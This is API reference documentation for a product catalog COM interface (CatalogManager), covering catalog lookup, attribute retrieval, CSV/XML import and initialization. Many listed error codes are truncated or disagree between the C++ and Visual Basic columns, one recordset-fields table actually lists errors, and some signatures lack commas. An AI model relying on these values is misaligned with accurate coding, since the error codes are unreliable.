The programming rules regarding the strPropertiesToReturn parameter vary depending on whether a single catalog name is passed in the strCatalogsToSearch parameter or whether multiple catalog names are passed. When a single catalog name is passed, the strPropertiesToReturn parameter is optional and defaults to all properties. When multiple catalog names are passed, the strPropertiesToReturn parameter is required.

If no value is specified for the strPropertiesToReturn parameter the method returns all fields in the specified catalog, otherwise it returns only the fields specified in the strPropertiesToReturn parameter. When specifying properties to return, or when specifying the strPropertyToSortOn parameter, enclose the field names in square brackets to avoid unintentional side effects in the SQL query created by this method. For example, use "[Property1], [Property2]" to specify two properties.

While doing a free-text search you can also specify FREETEXTSEARCH_RANK as a property to return and property to sort on. FREETEXTSEARCH_RANK contains a relevance ranking value for each row in the recordset.The FREETEXTSEARCH_RANK specifies the relative closeness of this row to the value passed in strPhrase parameter. You can specify the FREETEXTSEARCH_RANK in the PropertiestoReturn parameter and also rank results by specifying it in the PropertiesToSortOn parameter.

[C++] For more information, see CatalogProduct Recordset.

[Visual Basic] For more information, see CatalogProduct Recordset.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'rsFTSResults is a recordset object
'plTotalRecordsInQuery is a Variant.
'Check it after the method returns for the
'total number of records that match the query.
Set rsFTSResults = myCatalogManager.FreeTextSearch("red ribbons", "Craft Supplies", "", "Price", True, 0, 20, plTotalRecordsInQuery)

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::Query

[Visual Basic] CatalogManager.Query


ICatalogManager3::GetAttributes Method [C++]

CatalogManager.GetAttributes Method [Visual Basic]

Use this method to retrieve the catalog or property attributes in the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::GetAttributes(
  CatalogAttributesEnum eAttributeType,
  VARIANT_BOOL fUserDefinedOnly,
  _Recordset** ppRSAttributes
);
[Visual Basic]
Function GetAttributes(
  eAttributeType As CatalogAttributesEnum,
  Optional fUserDefinedOnly As Boolean
) As Recordset

Parameters

eAttributeType [C++]
[in] A CatalogAttributesEnum enumeration that specifies whether to return catalog or property attributes. See the Remarks section for valid values.
eAttributeType [Visual Basic]
A CatalogAttributesEnum enumeration that specifies whether to return catalog or property attributes. See the Remarks section for valid values.
fUserDefinedOnly [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that specifies whether to return only user-defined attributes. A value of True (-1) specifies returning only user-defined attributes. A value of False (0) specifies returning all attributes.
fUserDefinedOnly [Visual Basic]
A Boolean that specifies whether to return only user-defined attributes. A value of True specifies returning only user-defined attributes. A value of False specifies returning all attributes. The default value is True.
ppRSAttributes [C++]
[out, retval] A pointer to a _Recordset object that will be used to return the attributes.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the attributes requested.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B [Visual Basic] &H8898007 | The recordset pointer that you specified is invalid
E_CAT_INVALID_PARAMETER | [C++] 0x889800B [Visual Basic] &H8898006 | The input parameter <parameter number> is invalid.

Remarks

[C++] The ppRSAttributes parameter contains valid data only if the method completes successfully.

[Visual Basic] The Recordset object contains valid data only if the method completes successfully.

The following table shows the values in the CatalogAttributesEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscPropertyAttributes | 0 | Returns property attributes.
cscCatalogAttributes | 1 | Returns catalog attributes.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set rsCatalogAttr = myCatalogManager.GetAttributes(cscCatalogAttributes, False)

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] PropertyAttribute Recordset

[Visual Basic] PropertyAttribute Recordset


ICatalogManager3::GetCatalog Method [C++]

CatalogManager.GetCatalog Method [Visual Basic]

Use this method to retrieve a specified catalog from the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::GetCatalog(
  BSTR strCatalogName,
  IProductCatalog3** ppCatalog
);
[Visual Basic]
Function GetCatalog(
  strCatalogName As String
) As ProductCatalog

Parameters

strCatalogName [C++]
[in] A BSTR that contains the name of the catalog to be retrieved.
strCatalogName [Visual Basic]
A String that contains the name of the catalog to be retrieved.
ppCatalog [C++]
[out] A pointer to an IProductCatalog3 interface used to return the ProductCatalog object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns the ProductCatalog object that contains the catalog specified. The method may complete successfully and return an object that is Nothing. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) or S_FALSE (&H00000001) to indicate success and standard COM HRESULT error values, to indicate failure. This method may succeed and yet not return a valid output parameter. The output parameter(s) will be invalid if either and error value or S_FALSE is returned. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) or S_FALSE (&H00000001) to indicate success and to either standard or custom COM error values to indicate failure. This method may succeed and yet return a property or object that is Nothing due to a syntax error, such as requesting a property or object that does not exist. Test the return value for Nothing before relying on it. For more information about standard COM errors, see Standard COM Errors.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The Catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The Catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters: " [ ] , ' ( )#. These characters should not be used.
S_FALSE | [C++] 0x0000001 [Visual Basic] &H0000001 | The catalog does not exist

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppCatalog parameter contains valid data only if the method completes successfully. The method may complete successfully without returning valid data. See the Error Values section for more details.

[Visual Basic] The ProductCatalog object contains valid data only if the method completes successfully. The method may complete successfully and return an object that is Nothing. See the Error Values section for more details.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set oCatalog = myCatalogManager.GetCatalog("Cdcatalog")

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateCatalog

[Visual Basic] CatalogManager.CreateCatalog

[C++] ICatalogManager3::DeleteCatalog

[Visual Basic] CatalogManager.DeleteCatalog


ICatalogManager3::GetDefinitionProperties Method [C++]

CatalogManager.GetDefinitionProperties Method [Visual Basic]

Use this method to return the properties of the specified catalog or product definition.

Definition

[C++]
HRESULT ICatalogManager3::GetDefinitionProperties(
  BSTR strDefinitionName,
  _Recordset** ppRSProperties
);
[Visual Basic]
Function GetDefinitionProperties(
  strDefinitionName As String
) As _Recordset

Parameters

strDefinitionName [C++]
[in] A BSTR that contains the name of the definition whose properties will be returned.
strDefinitionName [Visual Basic]
A String that contains the name of the definition whose properties will be returned.
ppRSProperties [C++]
[out, retval] A pointer to a _Recordset object used to return the properties of the definition.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset that contains the properties of the specified definition.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B [Visual Basic] &H8898007 | The recordset pointer that you specified is invalid.
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800E [Visual Basic] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H889800B | The Definition you specified does not exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppRSProperties parameter contains valid data only if the method completes successfully.

[Visual Basic] The recordset returned by this method contains valid data only if the method completes successfully.

The following tables shows the fields in the returned recordset.

Field | Data Type | Description
DefinitionID | Integer | The number that uniquely identifies the definition.
PropertyName | String 128 characters | None
PropertyOrder | Integer | None
PropertyType | Integer | Zero (0) indicates product or category, one (1) indicates variant property.
TimeStamp | timestamp | None

The rows of the recordset are sorted on the PropertyOrder field.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set rsDefProps = myCatalogManager.GetDefinitionProperties("T-Shirts")

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::AddDefinitionProperty

[Visual Basic] CatalogManager.AddDefinitionProperty

[C++] ICatalogManager3::AddDefinitionVariantProperty

[Visual Basic] CatalogManager.AddDefinitionVariantProperty

[C++] ICatalogManager3::RemoveDefinitionProperty

[Visual Basic] CatalogManager.RemoveDefinitionProperty


ICatalogManager3::GetPropertyAttributes Method [C++]

CatalogManager.GetPropertyAttributes Method [Visual Basic]

Use this method to return the attributes of the specified property.

Definition

[C++]
HRESULT ICatalogManager3::GetPropertyAttributes(
  BSTR strPropertyName,
  _Recordset** ppRSAttributes
);
[Visual Basic]
Function GetPropertyAttributes(
  strPropertyName As String
) As _Recordset

Parameters

strPropertyName [C++]
[in] A BSTR that contains the name of the property whose attributes will be returned.
strPropertyName [Visual Basic]
A String that contains the name of the property whose attributes will be returned.
ppRSAttributes [C++]
[out] A pointer to a _Recordset object used to return the attributes of the property.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the list of attributes for the specified property

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B [Visual Basic] &H8898007 | The recordset pointer that you specified is invalid
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A [Visual Basic] &H8898002 | The PropertyName you specified is invalid. property Names cannot be blank and cannot exceed 100 characters. property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]

Remarks

[C++] The ppRSAttributes parameter contains valid data only if the method completes successfully.

[Visual Basic] The recordset returned by this method contains valid data only if the method completes successfully.

[C++] This method returns a single row Recordset object containing the requested property. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

[Visual Basic] This method returns a single row Recordset object containing the requested property. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set rsPropAttribs = myCatalogManager.GetPropertyAttributes("Size")

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::SetPropertyAttributes

[Visual Basic] CatalogManager.SetPropertyAttributes


ICatalogManager3::GetPropertyValues Method [C++]

CatalogManager.GetPropertyValues Method [Visual Basic]

Use this method to return the list of values defined for an enumeration property.

Definition

[C++]
HRESULT ICatalogManager3::GetPropertyValues(
  BSTR strPropertyName,
  _Recordset** ppRSPropertyValues
);
[Visual Basic]
Function GetPropertyValues(
  strPropertyName As String
) As _Recordset

Parameters

strPropertyName [C++]
[in] A BSTR that contains the name of the enumeration property for which the defined values will be returned.
strPropertyName [Visual Basic]
A String that contains the name of the enumeration property for which the defined values will be returned.
ppRSPropertyValues [C++]
[out, retval] A pointer to a _Recordset object used to return the property values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the defined values in the enumeration.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppRSPropertyValues parameter contains valid data only if the method completes successfully.

[Visual Basic] The returned recordset contains valid data only if the method completes successfully.

The following tables shows the fields in the returned recordset.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B [Visual Basic] &H8898007 | The recordset pointer that you specified is invalid.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A [Visual Basic] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set rsEnumValues = myCatalogManager.GetPropertyValues("Color")

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::AddPropertyValue

[Visual Basic] CatalogManager.AddPropertyValue

[C++] ICatalogManager3::RemovePropertyValue

[Visual Basic] CatalogManager.RemovePropertyValue


ICatalogManager3::ImportCSV Method [C++]

CatalogManager.ImportCSV Method [Visual Basic]

Use this method to import a comma-separated values (CSV)-formatted file as catalog data.

Definition

[C++]
HRESULT ICatalogManager3::ImportCSV(
  BSTR strCSVFileSource,
  BSTR strProductIDColumnName,
  BSTR strPriceColumnName,
  BSTR strCatalogName,
  VARIANT_BOOL fUpdateOnly
  VARIANT_BOOL fRunSynchronously
  BSTR strLang,
);
[Visual Basic]
Sub ImportCSV(
  strCSVFileSource As String,
  strProductIDColumnName As String,
  strPriceColumnName As String,
  strCatalogName As String,
  fUpdateOnly As Boolean
  fRunSynchronously As Boolean
  Optional strLang As String,
)

Parameters

strCSVFileSource [C++]
[in] A BSTR that contains the path and file name of the CSV file to import.
strCSVFileSource [Visual Basic]
A String that contains the path and file name of the CSV file to import.
strProductIDColumnName [C++]
[in] A BSTR that contains the name of the column that provides a unique ID for products to be imported into the catalog.
strProductIDColumnName [Visual Basic]
A String that contains the name of the column that provides a unique ID for products to be imported into the catalog.
strPriceColumnName [C++]
[in] A BSTR that contains the name of the column in the CSV file containing the product prices.
strPriceColumnName [Visual Basic]
A String that contains the name of the column in the CSV file containing the product prices.
strCatalogName [C++]
[in] A BSTR that contains the name of the catalog into which the CSV file will be imported. The name of the catalog cannot begin with the character "#" or consist solely of spaces. For more information about catalog name restrictions, see Catalog Name and Size Restrictions.
strCatalogName [Visual Basic]
A String that contains the name of the catalog into which the CSV file will be imported. The name of the catalog cannot begin with the character "#" or consist solely of spaces. For more information about catalog name restrictions, see Catalog Name and Size Restrictions.
fUpdateOnly [C++]
[in, defaultvalue (0)] A VARIANT_BOOL that specifies whether to update an existing catalog or create a new one. A value of True indicates that if the system contains a catalog whose name is the same as the one specified in the strCatalogName parameter, it will be updated with the imported data. A value of False indicates to delete the catalog if it already exists and create a new one with the imported data.
fUpdateOnly [Visual Basic]
A Boolean that specifies whether to update an existing catalog or create a new one. A value of True indicates that if the system contains a catalog whose name is the same as the one specified in the strCatalogName parameter, it will be updated with the imported data. A value of False indicates to delete the catalog if it already exists and create a new one with the imported data. The default value is False.
fRunSynchronously [C++]
[in, defaultvalue (0)] A VARIANT_BOOL that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the import is completed. A value of False indicates that the method will return immediately after spawning the import thread.
fRunSynchronously [Visual Basic]
A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the import is completed. A value of False indicates that the method will return immediately after spawning the import thread. The default value is False.
strLang [C++]
[in, optional, defaultvalue ("")] A BSTR that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
strLang [Visual Basic]
A String that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The Catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The Catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_LANGUAGE | [C++] 0x8898009E [Visual Basic] &H8898009E | The value you specified for the Language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A2 [Visual Basic] &H889800A2 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_FILE_OPEN_ERROR | [C++] 0x88980020 [Visual Basic] &H88980020 | Unable to open the file . Check that the file exists and you have the necessary permissions on the file.
E_CAT_IMPORT_IN_PROGRESS | [C++] 0x88980025 [Visual Basic] &H88980025 | This operation cannot be started because an import operation is currently in progress.
E_CAT_CONFLICTING_PRODUCTID | [C++] 0x88980113 [Visual Basic] &H88980113 | The ProductID property you specified for this Catalog does not match the existing PrIoductID property. When importing a catalog in the update mode the ProductID property should match the existing ProductID property

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the parameter strCatalogName specifies a catalog that does not exist, a new catalog will be created and the value of the fUpdateOnly parameter is ignored.

The strLang parameter specifies the language for multilingual properties in the imported catalog. If the strLang parameter is not specified then the default system language of the Web server will be used for multilingual properties.

The ImportCSV method is used to bring existing data from a wide variety of sources into the Product Catalog System. The CSV file must conform to the following format:

  • The first row of data must consist of column names, separated by commas. New lines in the text file delimit Rows.
  • For each column in the heading, a new property of the string data type with a maxlength of 256 will be created if the property does not exist. If the property already exists in the catalog system then the existing property will be used.
  • Each subsequent row (called a data row) must have the same number of commas as the first row. In other words, all columns in the CSV file must be defined by the first row.
  • All items in the CSV file (one row per item) are assumed to be products, and are created from a common product definition. If no product definition exists in the destination catalog, one will be created during the import process.
  • Each item must specify a value for the column specified as the ProductID column, as well as for the column specified as the Price column.
  • Two adjacent commas must represent missing data. If the data itself contains a comma then it must be enclosed in double quotes as in the example of the following 3 data items: weight, "yellow, blue, green or red", name.

This method runs in a separate thread. Prior to spawning the thread, it checks that the specified file can be opened and that there is not an existing ImportCSV or ImportXML method in progress. Once the new thread is spawned, this method returns immediately, if the parameter fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.

Caution

  • If you call this method from Visual Basic Scripting Edition (VBScript) with the fRunSynchronously parameter set to False, VBScript will unload the object as soon as the script ends. If the script ends before the spawned thread finishes importing the catalog, it will be terminated prematurely and the catalog will not be imported successfully.

This method cannot be called in a transacted object. This method involves the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.

If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be aborted. Other methods should work after the interruption.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.ImportCSV "c:\imports\ourcatalog.csv", "SKU", "Price", "OurCatalog", TRUE

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::ExportCSV

[Visual Basic] CatalogManager.ExportCSV

[C++] ICatalogManager3::ImportXML

[Visual Basic] CatalogManager.ImportXML

[C++] Table of Language Culture Names, Codes, and ISO Values

[Visual Basic] Table of Language Culture Names, Codes, and ISO Values


ICatalogManager3::ImportXML Method [C++]

CatalogManager.ImportXML Method [Visual Basic]

Use this method to import an Extensible Markup Language (XML)-formatted file as catalog data.

Definition

[C++]
HRESULT ICatalogManager3::ImportXML(
  VARIANT vrXML,
  VARIANT_BOOL fUpdateOnly,
  VARIANT_BOOL fRunSynchronously
  VARIANT_BOOL fGenerateFullTextIndexes
);
[Visual Basic]
Sub ImportXML(
  vrXML As Variant,
  Optional fUpdateOnly As Boolean,
  Optional fRunSynchronously As Boolean
  Optional fGenerateFullTextIndexes As Boolean
)

Parameters

vrXML [C++]
[in] A VARIANT that contains the XML file name or IStream object that is the target of the import.
vrXML [Visual Basic]
A Variant that contains the XML file name or IStream object that is the target of the import.
fUpdateOnly [C++]
[in, defaultvalue (0)] A VARIANT_BOOL that specifies whether to update an existing catalog or create a new one. A value of True indicates that if the system contains a catalog whose name is the same as the one specified in the strCatalogName parameter, it will be updated with the imported data. A value of False indicates to delete the catalog if it already exists and create a new one with the imported data.
fUpdateOnly [Visual Basic]
A Boolean that specifies whether to update an existing catalog or create a new one. A value of True indicates that if the system contains a catalog whose name is the same as the one specified in the strCatalogName parameter, it will be updated with the imported data. A value of False indicates to delete the catalog if it already exists and create a new one with the imported data. The default is False.
fRunSynchronously [C++]
[in, defaultvalue (0)] A VARIANT_BOOL that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the import is completed. A value of False indicates that the method will return immediately after spawning the import thread.
fRunSynchronously [Visual Basic]
A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the import is completed. A value of False indicates that the method will return immediately after spawning the import thread. The default is False.
fGenerateFullTextIndexes [C++]
[in, defaultvalue (-1)] A VARIANT_BOOL that specifies whether the method should generate full text indexes. A value of True indicates that indexes should be generated. A value of False indicates that indexes should not be generated.
fGenerateFullTextIndexes [Visual Basic]
A Boolean that specifies whether the method should generate full text indexes. A value of True indicates that indexes should be generated. A value of False indicates that indexes should not be generated. The default is True.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_FILE_OPEN_ERROR | [C++] 0x8898002 [Visual Basic] &H8898000 | Unable to open the file. Check that the file exists and you have the necessary permissions on the file.
E_CAT_IMPORT_IN_PROGRESS | [C++] 0x8898002 [Visual Basic] &H8898005 | This operation cannot be started because an import operation is currently in progress.
E_CAT_MSXML3_MISSING | [C++] 0x889800C [Visual Basic] &H8898001 | The Catalog import operation was unable to instantiate the XML parser. Please check that msxml3.dll is installed and registered on this machine. Refer to the Commerce Server installation documents for more information.
E_CAT_INVALID_XML | error | There has been an error. See the error message for more information.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When performing a partial or delta import (when updating an existing catalog by importing new or changed catalog data), it is important that the catalog definition of the data being imported matches the definition of the existing catalog. For more information about the catalog definition, see Import Semantics.

This method runs in a separate thread. Prior to spawning the thread, it checks that the specified file can be opened and that there is not an existing ImportCSV or ImportXML method in progress. Once the new thread is spawned, this method returns immediately if the parameter fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.

Caution

  • If you call this method from Visual Basic Scripting Edition (VBScript) with the fRunSynchronously parameter set to False, VBScript will unload the object as soon as the script ends. If the script ends before the spawned thread finishes importing the catalog, it will be terminated prematurely and the catalog will not be imported successfully.

This method cannot be called in a transacted object. This method involves the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.

If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be aborted. Other methods should work after the interruption.

The names of catalogs in the source file cannot begin with the character "#" or consist solely of spaces.

If a property existing in the catalog has one data type and the property of the same name existing in the import file has a different data type, the import will fail. For example, the catalog has a SKU property that is a String, and the XML file being imported has a SKU property that is an Integer. This will cause an error.

Additionally, if the minimum and maximum values of a property in the XML file do not match the minimum and maximum values of a property in the catalog system and the property is used in one or more catalogs, then the import will fail; otherwise, the import will update the minimum and maximum values of that property.

[Visual Basic]

Setting the parameter fGenerateFullTextIndexes to False can significantly decrease import time when importing many catalogs from the same file. Use the ProductCatalog.RegenerateFreeTextSearchIndex method to create the indexes after the import has completed.

[C++]

Setting the parameter fGenerateFullTextIndexes to False can significantly decrease import time when importing many catalogs from the same file. Use the IProductCatalog3::RegenerateFreeTextSearchIndex method to create the indexes after the import has completed.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.ImportXML "c:\imports\ourcatalog.xml", TRUE

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::ExportXML

[Visual Basic] CatalogManager.ExportXML

[C++] ICatalogManager3::ImportCSV

[Visual Basic] CatalogManager.ImportCSV


ICatalogManager3::Initialize Method [C++]

CatalogManager.Initialize Method [Visual Basic]

Use this method to initialize a CatalogManager object. This method should be called once before calling any other methods or properties.

Definition

[C++]
HRESULT ICatalogManager3::Initialize(
  BSTR strConfigString,
  VARIANT_BOOL fIsADOConnectionString
  VARIANT lNumFullTextCatalogs,
);
[Visual Basic]
Sub Initialize(
  strConfigString As String,
  fIsADOConnectionString As Boolean
  Optional lNumFullTextCatalogs As Variant,
)

Parameters

strConfigString [C++]
[in] A BSTR that contains the configuration string.
strConfigString [Visual Basic]
A String that contains the configuration string.
fIsADOConnectionString [C++]
[in, defaultvalue (0)] A VARIANT_BOOL that determines whether the strConfigString parameter refers to an ActiveX Data Object (ADO) connection string or a site name. A value of True indicates an ADO connection string. A value of False indicates a site name.
fIsADOConnectionString [Visual Basic]
A Boolean that determines whether the strConfigString parameter refers to an ADO connection string or a site name. A value of True indicates an ADO connection string. A value of False indicates a site name. The default is False.
lNumFullTextCatalogs [C++]
[in, optional] A VARIANT that contains the maximum number of full text catalogs (indexes) to create. The default and maximum value is 256.
lNumFullTextCatalogs [Visual Basic]
A Variant that contains the maximum number of full text catalogs (indexes) to create. The default and maximum value is 256.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

